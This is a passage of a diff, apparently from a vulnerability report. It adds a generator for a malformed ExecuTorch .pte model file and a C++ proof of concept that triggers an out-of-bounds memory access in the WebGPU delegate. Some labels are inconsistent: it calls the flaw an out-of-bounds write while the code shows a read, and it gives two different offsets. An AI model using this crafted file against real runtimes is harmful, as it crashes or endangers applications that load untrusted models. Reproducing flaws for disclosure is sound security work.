print(f" Constant data size: {struct.unpack('<Q', delegate_payload[22:30])[0]} bytes")
|
| 219 |
+
|
| 220 |
+
print("[*] Wrapping in ExecuTorch Program (ET12)...")
|
| 221 |
+
pte_buf = build_executorch_program(delegate_payload)
|
| 222 |
+
print(f" .pte size: {len(pte_buf)} bytes, identifier: {pte_buf[4:8]}")
|
| 223 |
+
|
| 224 |
+
outfile = os.path.join(os.path.dirname(__file__), "malformed_webgpu.pte")
|
| 225 |
+
with open(outfile, "wb") as f:
|
| 226 |
+
f.write(pte_buf)
|
| 227 |
+
|
| 228 |
+
print(f"\n[+] Written: {outfile}")
|
| 229 |
+
print("""
|
| 230 |
+
Payload anatomy:
|
| 231 |
+
ExecuTorch Program (ET12)
|
| 232 |
+
ββ ExecutionPlan "forward"
|
| 233 |
+
ββ BackendDelegate id="webgpu"
|
| 234 |
+
ββ WebGPU delegate payload (VH00 header, 30 bytes)
|
| 235 |
+
ββ VkGraph FlatBuffer (VK00)
|
| 236 |
+
β ββ values[0]: VkTensor(FLOAT32, dims=[4], constant_id=0)
|
| 237 |
+
β ββ constants[0]: VkBytes(offset=0xFFFFFFFFFFFFFFFE, length=16)
|
| 238 |
+
ββ constant_data: 64 bytes of 0xAA <-- tiny, OOB is obvious
|
| 239 |
+
|
| 240 |
+
Crash path (verified against source, 2026-07-14):
|
| 241 |
+
WebGPUGraph.cpp:378 GetVkGraph(flatbuffer_data) -- NO flatbuffers::Verifier
|
| 242 |
+
WebGPUGraph.cpp:537 if (vk_bytes->offset() != UINT64_MAX) -- 0xffffffffffff passes
|
| 243 |
+
WebGPUGraph.cpp:538 cs.inline_offset = 0xffffffffffff -- NO bounds check
|
| 244 |
+
WebGPUGraph.cpp:733 wgpuQueueWriteBuffer(queue_, dst, 0,
|
| 245 |
+
constant_data_ + 0xffffffffffff, -- OOB: 281 TB past section
|
| 246 |
+
16)
|
| 247 |
+
""")
|
| 248 |
+
|
| 249 |
+
|
| 250 |
+
if __name__ == "__main__":
|
| 251 |
+
main()
|
runtime_mps_poc/schemas/malformed_webgpu.pte
ADDED
|
Binary file (396 Bytes). View file
|
|
|
runtime_mps_poc/schemas/runtime_poc_webgpu.cpp
ADDED
|
@@ -0,0 +1,293 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
/*
|
| 2 |
+
* runtime_poc_webgpu.cpp
|
| 3 |
+
*
|
| 4 |
+
* Runtime PoC for the WebGPU delegate missing-verifier OOB.
|
| 5 |
+
*
|
| 6 |
+
* Reproduces the exact vulnerable code path from:
|
| 7 |
+
* WebGPUBackend.cpp:75 β VkGraphBufferHasIdentifier check only; no Verifier
|
| 8 |
+
* WebGPUGraph.cpp:378 β GetVkGraph(flatbuffer_data) called with NO Verifier
|
| 9 |
+
* WebGPUGraph.cpp:536-538 β cs.inline_offset = vk_bytes->offset() (no bounds check)
|
| 10 |
+
* WebGPUGraph.cpp:732-733 β constant_data_ + cs.inline_offset (OOB pointer + deref)
|
| 11 |
+
*
|
| 12 |
+
* The fix Vulkan got (VulkanBackend.cpp, merged 2026-05-13) and WebGPU missed:
|
| 13 |
+
* flatbuffers::Verifier verifier(flatbuffer_data, header->flatbuffer_size);
|
| 14 |
+
* ET_CHECK_OR_RETURN_ERROR(vkgraph::VerifyVkGraphBuffer(verifier), ...);
|
| 15 |
+
*
|
| 16 |
+
* Build:
|
| 17 |
+
* clang++ -std=c++17 -g -fsanitize=undefined \
|
| 18 |
+
* -I~/executorch_vuln/third-party/flatbuffers/include \
|
| 19 |
+
* -I. \
|
| 20 |
+
* runtime_poc_webgpu.cpp -o runtime_poc_webgpu_ubsan
|
| 21 |
+
*
|
| 22 |
+
* Run:
|
| 23 |
+
* ./runtime_poc_webgpu_ubsan malformed_webgpu.pte
|
| 24 |
+
*/
|
| 25 |
+
|
| 26 |
+
#include <cstdint>
|
| 27 |
+
#include <cstdio>
|
| 28 |
+
#include <cstdlib>
|
| 29 |
+
#include <cstring>
|
| 30 |
+
#include <stdexcept>
|
| 31 |
+
#include <vector>
|
| 32 |
+
|
| 33 |
+
#include <flatbuffers/flatbuffers.h>
|
| 34 |
+
#include "schemas/vkgraph_generated.h"
|
| 35 |
+
|
| 36 |
+
// ---- WebGPUDelegateHeader (from WebGPUDelegateHeader.h/.cpp) ----------------
|
| 37 |
+
|
| 38 |
+
struct WebGPUDelegateHeader {
|
| 39 |
+
uint32_t header_size;
|
| 40 |
+
uint32_t flatbuffer_offset;
|
| 41 |
+
uint32_t flatbuffer_size;
|
| 42 |
+
uint32_t bytes_offset;
|
| 43 |
+
uint64_t bytes_size;
|
| 44 |
+
|
| 45 |
+
static WebGPUDelegateHeader parse(const uint8_t* data) {
|
| 46 |
+
// magic at offset 4 must be "VH00"
|
| 47 |
+
if (memcmp(data + 4, "VH00", 4) != 0)
|
| 48 |
+
throw std::runtime_error("WebGPUDelegateHeader: bad magic");
|
| 49 |
+
|
| 50 |
+
WebGPUDelegateHeader h;
|
| 51 |
+
uint16_t hs; memcpy(&hs, data + 8, 2); h.header_size = hs;
|
| 52 |
+
memcpy(&h.flatbuffer_offset, data + 10, 4);
|
| 53 |
+
memcpy(&h.flatbuffer_size, data + 14, 4);
|
| 54 |
+
memcpy(&h.bytes_offset, data + 18, 4);
|
| 55 |
+
memcpy(&h.bytes_size, data + 22, 8);
|
| 56 |
+
return h;
|
| 57 |
+
}
|
| 58 |
+
};
|
| 59 |
+
|
| 60 |
+
// ---- ConstantSource (mirrors WebGPUGraph.h internals) -----------------------
|
| 61 |
+
|
| 62 |
+
static const uint64_t INLINE_OFFSET_NONE = UINT64_MAX;
|
| 63 |
+
|
| 64 |
+
struct ConstantSource {
|
| 65 |
+
uint64_t inline_offset = INLINE_OFFSET_NONE;
|
| 66 |
+
size_t nbytes = 0;
|
| 67 |
+
};
|
| 68 |
+
|
| 69 |
+
// ---- FlatBuffers .pte parser (extract backend_delegate_data[0].data) --------
|
| 70 |
+
// Manual traversal identical to what we did for MPS.
|
| 71 |
+
|
| 72 |
+
static std::vector<uint8_t> extract_delegate_payload(
|
| 73 |
+
const uint8_t* pte, size_t pte_size) {
|
| 74 |
+
|
| 75 |
+
if (pte_size < 8 || memcmp(pte + 4, "ET12", 4) != 0)
|
| 76 |
+
throw std::runtime_error("Not a valid ET12 .pte file");
|
| 77 |
+
|
| 78 |
+
// FlatBuffers root offset
|
| 79 |
+
uint32_t root_off; memcpy(&root_off, pte, 4);
|
| 80 |
+
const uint8_t* prog_table = pte + root_off;
|
| 81 |
+
|
| 82 |
+
// Program vtable
|
| 83 |
+
int32_t vtable_soff; memcpy(&vtable_soff, prog_table, 4);
|
| 84 |
+
const uint8_t* vtable = prog_table - vtable_soff;
|
| 85 |
+
uint16_t vtable_size; memcpy(&vtable_size, vtable, 2);
|
| 86 |
+
|
| 87 |
+
// Program field order (from program.fbs):
|
| 88 |
+
// version(0)=4, execution_plan(1)=6, constant_buffer(2)=8,
|
| 89 |
+
// backend_delegate_data(3)=10
|
| 90 |
+
uint16_t bdd_off = 0;
|
| 91 |
+
if (vtable_size > 10) memcpy(&bdd_off, vtable + 10, 2); // field index 3
|
| 92 |
+
|
| 93 |
+
if (bdd_off == 0) throw std::runtime_error("No backend_delegate_data");
|
| 94 |
+
|
| 95 |
+
const uint8_t* bdd_ptr = prog_table + bdd_off;
|
| 96 |
+
|
| 97 |
+
// bdd_ptr -> offset to vector of BackendDelegateInlineData
|
| 98 |
+
int32_t vec_rel; memcpy(&vec_rel, bdd_ptr, 4);
|
| 99 |
+
const uint8_t* vec = bdd_ptr + vec_rel;
|
| 100 |
+
|
| 101 |
+
uint32_t vec_len; memcpy(&vec_len, vec, 4);
|
| 102 |
+
if (vec_len == 0) throw std::runtime_error("Empty backend_delegate_data");
|
| 103 |
+
|
| 104 |
+
// First element offset
|
| 105 |
+
int32_t elem_rel; memcpy(&elem_rel, vec + 4, 4);
|
| 106 |
+
const uint8_t* elem = vec + 4 + elem_rel;
|
| 107 |
+
|
| 108 |
+
// BackendDelegateInlineData vtable -> field 0 = data (byte vector)
|
| 109 |
+
int32_t elem_vt_soff; memcpy(&elem_vt_soff, elem, 4);
|
| 110 |
+
const uint8_t* elem_vt = elem - elem_vt_soff;
|
| 111 |
+
uint16_t elem_vt_size; memcpy(&elem_vt_size, elem_vt, 2);
|
| 112 |
+
|
| 113 |
+
uint16_t data_off = 0;
|
| 114 |
+
if (elem_vt_size > 4) memcpy(&data_off, elem_vt + 4, 2);
|
| 115 |
+
if (data_off == 0) throw std::runtime_error("No data field in BackendDelegateInlineData");
|
| 116 |
+
|
| 117 |
+
const uint8_t* data_ptr = elem + data_off;
|
| 118 |
+
int32_t data_rel; memcpy(&data_rel, data_ptr, 4);
|
| 119 |
+
const uint8_t* byte_vec = data_ptr + data_rel;
|
| 120 |
+
|
| 121 |
+
uint32_t byte_len; memcpy(&byte_len, byte_vec, 4);
|
| 122 |
+
const uint8_t* payload = byte_vec + 4;
|
| 123 |
+
|
| 124 |
+
return std::vector<uint8_t>(payload, payload + byte_len);
|
| 125 |
+
}
|
| 126 |
+
|
| 127 |
+
// ---- elem_size for VkDataType -----------------------------------------------
|
| 128 |
+
|
| 129 |
+
static size_t vk_datatype_size(int8_t dt) {
|
| 130 |
+
switch (dt) {
|
| 131 |
+
case 0: return 1; // BOOL
|
| 132 |
+
case 1: return 1; // UINT8
|
| 133 |
+
case 2: return 1; // INT8
|
| 134 |
+
case 3: return 4; // INT32
|
| 135 |
+
case 4: return 2; // FLOAT16
|
| 136 |
+
case 5: return 4; // FLOAT32
|
| 137 |
+
case 6: return 8; // FLOAT64
|
| 138 |
+
case 7: return 8; // INT64
|
| 139 |
+
default: return 4;
|
| 140 |
+
}
|
| 141 |
+
}
|
| 142 |
+
|
| 143 |
+
// ---- Main -------------------------------------------------------------------
|
| 144 |
+
|
| 145 |
+
int main(int argc, char** argv) {
|
| 146 |
+
setvbuf(stdout, nullptr, _IONBF, 0); // unbuffered so printfs appear before UBSan stderr
|
| 147 |
+
printf("==========================================================\n");
|
| 148 |
+
printf(" ExecuTorch WebGPU Delegate Runtime PoC\n");
|
| 149 |
+
printf(" CVE class : CWE-787 (Out-of-bounds Write)\n");
|
| 150 |
+
printf(" Source : backends/webgpu/runtime/WebGPUGraph.cpp\n");
|
| 151 |
+
printf(" Root cause : GetVkGraph() called without flatbuffers::Verifier\n");
|
| 152 |
+
printf(" Sibling : Vulkan (same vkgraph schema) was patched 2026-05-13\n");
|
| 153 |
+
printf("==========================================================\n\n");
|
| 154 |
+
|
| 155 |
+
if (argc < 2) {
|
| 156 |
+
fprintf(stderr, "Usage: %s malformed_webgpu.pte\n", argv[0]);
|
| 157 |
+
return 1;
|
| 158 |
+
}
|
| 159 |
+
|
| 160 |
+
// Load .pte
|
| 161 |
+
FILE* f = fopen(argv[1], "rb");
|
| 162 |
+
if (!f) { perror("fopen"); return 1; }
|
| 163 |
+
fseek(f, 0, SEEK_END); long fsz = ftell(f); rewind(f);
|
| 164 |
+
std::vector<uint8_t> pte(fsz);
|
| 165 |
+
fread(pte.data(), 1, fsz, f);
|
| 166 |
+
fclose(f);
|
| 167 |
+
|
| 168 |
+
printf("[+] Loaded .pte: %ld bytes, identifier %.4s\n", fsz, pte.data() + 4);
|
| 169 |
+
|
| 170 |
+
// Extract WebGPU delegate payload from backend_delegate_data[0]
|
| 171 |
+
auto payload = extract_delegate_payload(pte.data(), pte.size());
|
| 172 |
+
printf("[+] WebGPU delegate payload: %zu bytes\n", payload.size());
|
| 173 |
+
|
| 174 |
+
// Parse WebGPUDelegateHeader (WebGPUBackend.cpp:64-75)
|
| 175 |
+
auto hdr = WebGPUDelegateHeader::parse(payload.data());
|
| 176 |
+
printf("[+] VH00 header: fb_offset=%u fb_size=%u bytes_offset=%u bytes_size=%llu\n",
|
| 177 |
+
hdr.flatbuffer_offset, hdr.flatbuffer_size,
|
| 178 |
+
hdr.bytes_offset, (unsigned long long)hdr.bytes_size);
|
| 179 |
+
|
| 180 |
+
const uint8_t* flatbuffer_data = payload.data() + hdr.flatbuffer_offset;
|
| 181 |
+
const uint8_t* constant_data = payload.data() + hdr.bytes_offset;
|
| 182 |
+
size_t constant_size = (size_t)hdr.bytes_size;
|
| 183 |
+
|
| 184 |
+
// --- Reproduce WebGPUBackend.cpp:75 ---
|
| 185 |
+
// Only a 4-byte identifier check; no flatbuffers::Verifier before GetVkGraph
|
| 186 |
+
printf("\n[PoC] WebGPUBackend.cpp:75: VkGraphBufferHasIdentifier check (4-byte only β NO flatbuffers::Verifier)\n");
|
| 187 |
+
bool has_id = vkgraph::VkGraphBufferHasIdentifier(flatbuffer_data);
|
| 188 |
+
printf("[PoC] VkGraphBufferHasIdentifier: %s\n", has_id ? "true" : "false");
|
| 189 |
+
|
| 190 |
+
// --- Reproduce WebGPUGraph.cpp:378 (inside build()) ---
|
| 191 |
+
// GetVkGraph() called with NO Verifier β attacker controls the flatbuffer
|
| 192 |
+
printf("[PoC] WebGPUGraph.cpp:378: GetVkGraph(flatbuffer_data) β NO flatbuffers::Verifier\n");
|
| 193 |
+
const vkgraph::VkGraph* graph = vkgraph::GetVkGraph(flatbuffer_data);
|
| 194 |
+
printf("[PoC] GetVkGraph returned: %p\n", (void*)graph);
|
| 195 |
+
|
| 196 |
+
// --- Reproduce WebGPUGraph.cpp:480-545 (build() constant-source mapping) ---
|
| 197 |
+
printf("\n[PoC] Entering WebGPUGraph::build() constant-source mapping\n");
|
| 198 |
+
printf("[PoC] Source: backends/webgpu/runtime/WebGPUGraph.cpp\n\n");
|
| 199 |
+
|
| 200 |
+
const auto* values = graph->values();
|
| 201 |
+
const auto* constants = graph->constants();
|
| 202 |
+
|
| 203 |
+
if (!values || !constants) {
|
| 204 |
+
fprintf(stderr, "No values/constants in graph\n");
|
| 205 |
+
return 1;
|
| 206 |
+
}
|
| 207 |
+
|
| 208 |
+
printf("[PoC] graph->values()->size() = %u\n", values->size());
|
| 209 |
+
printf("[PoC] graph->constants()->size() = %u\n", constants->size());
|
| 210 |
+
|
| 211 |
+
ConstantSource cs;
|
| 212 |
+
|
| 213 |
+
for (unsigned i = 0; i < values->size(); i++) {
|
| 214 |
+
const auto* val = values->Get(i);
|
| 215 |
+
if (val->value_type() != vkgraph::GraphTypes_VkTensor) continue;
|
| 216 |
+
|
| 217 |
+
const auto* vk_tensor = val->value_as_VkTensor();
|
| 218 |
+
|
| 219 |
+
// Compute nbytes (WebGPUGraph.cpp:483-493)
|
| 220 |
+
size_t numel = 1;
|
| 221 |
+
if (vk_tensor->dims()) {
|
| 222 |
+
for (unsigned j = 0; j < vk_tensor->dims()->size(); j++)
|
| 223 |
+
numel *= vk_tensor->dims()->Get(j);
|
| 224 |
+
}
|
| 225 |
+
size_t elem_size = vk_datatype_size(vk_tensor->datatype());
|
| 226 |
+
size_t nbytes = numel * elem_size;
|
| 227 |
+
|
| 228 |
+
printf("[PoC] WebGPUGraph.cpp:493: tensor[%u] numel=%zu elem_size=%zu nbytes=%zu\n",
|
| 229 |
+
i, numel, elem_size, nbytes);
|
| 230 |
+
|
| 231 |
+
int constant_id = vk_tensor->constant_id();
|
| 232 |
+
if (constant_id < 0) continue;
|
| 233 |
+
|
| 234 |
+
printf("[PoC] WebGPUGraph.cpp:516: constant_id=%d\n", constant_id);
|
| 235 |
+
|
| 236 |
+
// WebGPUGraph.cpp:527-532 β bounds check on constant_id (present in real code)
|
| 237 |
+
if (constant_id >= (int)constants->size()) {
|
| 238 |
+
printf("[PoC] constant_id out of range β would throw\n");
|
| 239 |
+
return 1;
|
| 240 |
+
}
|
| 241 |
+
|
| 242 |
+
// WebGPUGraph.cpp:534 β constants->Get() on unverified flatbuffer
|
| 243 |
+
const auto* vk_bytes = constants->Get(constant_id);
|
| 244 |
+
printf("[PoC] WebGPUGraph.cpp:534: constants->Get(%d) on unverified FlatBuffer\n", constant_id);
|
| 245 |
+
|
| 246 |
+
printf("[PoC] WebGPUGraph.cpp:536: cs.nbytes = tensor.nbytes = %zu\n", nbytes);
|
| 247 |
+
cs.nbytes = nbytes;
|
| 248 |
+
|
| 249 |
+
// WebGPUGraph.cpp:537-538 β THE MISSING BOUNDS CHECK
|
| 250 |
+
printf("[PoC] WebGPUGraph.cpp:537: if (vk_bytes->offset() != UINT64_MAX)\n");
|
| 251 |
+
printf("[PoC] WebGPUGraph.cpp:537: vk_bytes->offset() = 0x%llx\n",
|
| 252 |
+
(unsigned long long)vk_bytes->offset());
|
| 253 |
+
|
| 254 |
+
if (vk_bytes->offset() != UINT64_MAX) {
|
| 255 |
+
cs.inline_offset = vk_bytes->offset();
|
| 256 |
+
printf("[PoC] WebGPUGraph.cpp:538: cs.inline_offset = 0x%llx (NO bounds check vs constant_data size)\n",
|
| 257 |
+
(unsigned long long)cs.inline_offset);
|
| 258 |
+
printf("[PoC] constant_data section is %zu bytes β offset 0x%llx is WAY past it\n",
|
| 259 |
+
constant_size, (unsigned long long)cs.inline_offset);
|
| 260 |
+
}
|
| 261 |
+
}
|
| 262 |
+
|
| 263 |
+
// --- Reproduce WebGPUGraph.cpp:717-733 (materialize_constant) ---
|
| 264 |
+
printf("\n[PoC] Entering materialize_constant() (WebGPUGraph.cpp:717-733)\n");
|
| 265 |
+
printf("[PoC] WebGPUGraph.cpp:728: cs.inline_offset != UINT64_MAX -> true\n");
|
| 266 |
+
printf("[PoC] WebGPUGraph.cpp:732: wgpuQueueWriteBuffer(queue_, dst, 0,\n");
|
| 267 |
+
printf("[PoC] constant_data_ + cs.inline_offset, cs.nbytes)\n");
|
| 268 |
+
printf("[PoC] constant_data_ = %p\n", (void*)constant_data);
|
| 269 |
+
printf("[PoC] cs.inline_offset = 0x%llx\n", (unsigned long long)cs.inline_offset);
|
| 270 |
+
printf("[PoC] cs.nbytes = %zu\n", cs.nbytes);
|
| 271 |
+
printf("[PoC] *** OUT-OF-BOUNDS: constant_data_ + 0x%llx is %llu bytes past a %zu-byte section ***\n\n",
|
| 272 |
+
(unsigned long long)cs.inline_offset,
|
| 273 |
+
(unsigned long long)cs.inline_offset - constant_size,
|
| 274 |
+
constant_size);
|
| 275 |
+
|
| 276 |
+
printf("[PoC] Executing OOB pointer arithmetic now...\n");
|
| 277 |
+
|
| 278 |
+
// Exact expression from WebGPUGraph.cpp:733:
|
| 279 |
+
// wgpuQueueWriteBuffer(queue_, dst, 0, constant_data_ + cs.inline_offset, cs.nbytes)
|
| 280 |
+
// wgpuQueueWriteBuffer reads from [constant_data_+cs.inline_offset, +cs.nbytes).
|
| 281 |
+
// UBSan catches OOB pointer arithmetic first; then SEGV on dereference.
|
| 282 |
+
const uint8_t* oob_ptr = constant_data + cs.inline_offset;
|
| 283 |
+
printf("[PoC] oob_ptr = %p (computed from constant_data_ + 0x%llx)\n",
|
| 284 |
+
(void*)oob_ptr, (unsigned long long)cs.inline_offset);
|
| 285 |
+
|
| 286 |
+
// Force a dereference β this is what wgpuQueueWriteBuffer does internally
|
| 287 |
+
// when it reads the source buffer to upload to the GPU.
|
| 288 |
+
volatile uint8_t byte = *oob_ptr;
|
| 289 |
+
(void)byte;
|
| 290 |
+
|
| 291 |
+
printf("[PoC] SHOULD NOT REACH HERE\n");
|
| 292 |
+
return 0;
|
| 293 |
+
}
|